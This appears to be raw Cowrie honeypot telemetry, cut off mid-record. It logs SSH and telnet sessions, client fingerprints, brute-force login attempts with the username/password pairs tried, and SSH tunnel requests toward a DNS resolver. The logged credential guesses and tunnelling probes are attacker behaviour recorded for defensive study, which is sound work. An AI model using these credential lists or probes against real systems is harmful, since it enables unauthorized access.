{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.179319Z","src_ip":"176.53.159.196","session":"274aff0e48ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.481108Z","src_ip":"176.53.159.196","session":"274aff0e48ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.582900Z","session":"274aff0e48ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.683948Z","src_ip":"176.53.159.196","session":"274aff0e48ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.786575Z","src_ip":"176.53.159.196","session":"274aff0e48ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38328,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f0ccd76bd9a","protocol":"ssh","message":"New connection: 109.237.96.109:38328 (159.203.135.109:22) [session: 0f0ccd76bd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:28.710773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:28.714248Z","src_ip":"109.237.96.109","session":"0f0ccd76bd9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:28.807015Z","src_ip":"109.237.96.109","session":"0f0ccd76bd9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220193","message":"login attempt [root/220193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:29.089017Z","src_ip":"109.237.96.109","session":"0f0ccd76bd9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:30.184427Z","src_ip":"109.237.96.109","session":"0f0ccd76bd9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":58094,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c48c31c2303","protocol":"ssh","message":"New connection: 91.92.40.10:58094 (10.17.0.5:22) [session: 4c48c31c2303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:48.656612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:48.723024Z","src_ip":"91.92.40.10","session":"4c48c31c2303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:48.793007Z","src_ip":"91.92.40.10","session":"4c48c31c2303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"password","message":"login attempt [backup/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:49.467271Z","src_ip":"91.92.40.10","session":"4c48c31c2303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:50.663506Z","src_ip":"91.92.40.10","session":"4c48c31c2303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a04d44bbbe","protocol":"ssh","message":"New connection: 162.144.64.128:60272 (10.17.0.5:22) [session: 23a04d44bbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:58.514820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:58.518171Z","src_ip":"162.144.64.128","session":"23a04d44bbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:58.599827Z","src_ip":"162.144.64.128","session":"23a04d44bbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dash","password":"dash456","message":"login attempt [dash/dash456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:58.846311Z","src_ip":"162.144.64.128","session":"23a04d44bbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":44070,"dst_ip":"159.203.135.109","dst_port":22,"session":"b125dd02db90","protocol":"ssh","message":"New connection: 176.53.159.196:44070 (159.203.135.109:22) [session: b125dd02db90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.272368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.275900Z","src_ip":"176.53.159.196","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.379303Z","src_ip":"176.53.159.196","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.669604Z","src_ip":"176.53.159.196","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.768546Z","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.871044Z","src_ip":"176.53.159.196","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:00.969913Z","src_ip":"176.53.159.196","session":"b125dd02db90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48854,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e41984e6c5b","protocol":"telnet","message":"New connection: 137.184.5.188:48854 (159.203.135.109:23) [session: 5e41984e6c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:01.997752Z"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:04.190305Z","src_ip":"162.144.64.128","session":"23a04d44bbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":48880,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b0d1417455","protocol":"ssh","message":"New connection: 162.144.88.94:48880 (159.203.135.109:22) [session: c2b0d1417455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:52.146030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:52.149112Z","src_ip":"162.144.88.94","session":"c2b0d1417455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:52.237887Z","src_ip":"162.144.88.94","session":"c2b0d1417455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bittrex789","message":"login attempt [root/bittrex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:52.508997Z","src_ip":"162.144.88.94","session":"c2b0d1417455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:18:53.897599Z","src_ip":"162.144.88.94","session":"c2b0d1417455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a32f8ebbde8c","protocol":"ssh","message":"New connection: 38.93.206.2:59622 (159.203.135.109:22) [session: a32f8ebbde8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:05.160987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:05.165198Z","src_ip":"38.93.206.2","session":"a32f8ebbde8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:05.218304Z","src_ip":"38.93.206.2","session":"a32f8ebbde8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dwayne","message":"login attempt [root/dwayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:05.378249Z","src_ip":"38.93.206.2","session":"a32f8ebbde8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.66.142.9","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4d6f38f1da","protocol":"ssh","message":"New connection: 148.66.142.9:57928 (10.17.0.5:22) [session: 6b4d6f38f1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:06.241822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:06.264273Z","src_ip":"148.66.142.9","session":"6b4d6f38f1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:19:06.429967Z","src_ip":"38.93.206.2","session":"a32f8ebbde8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-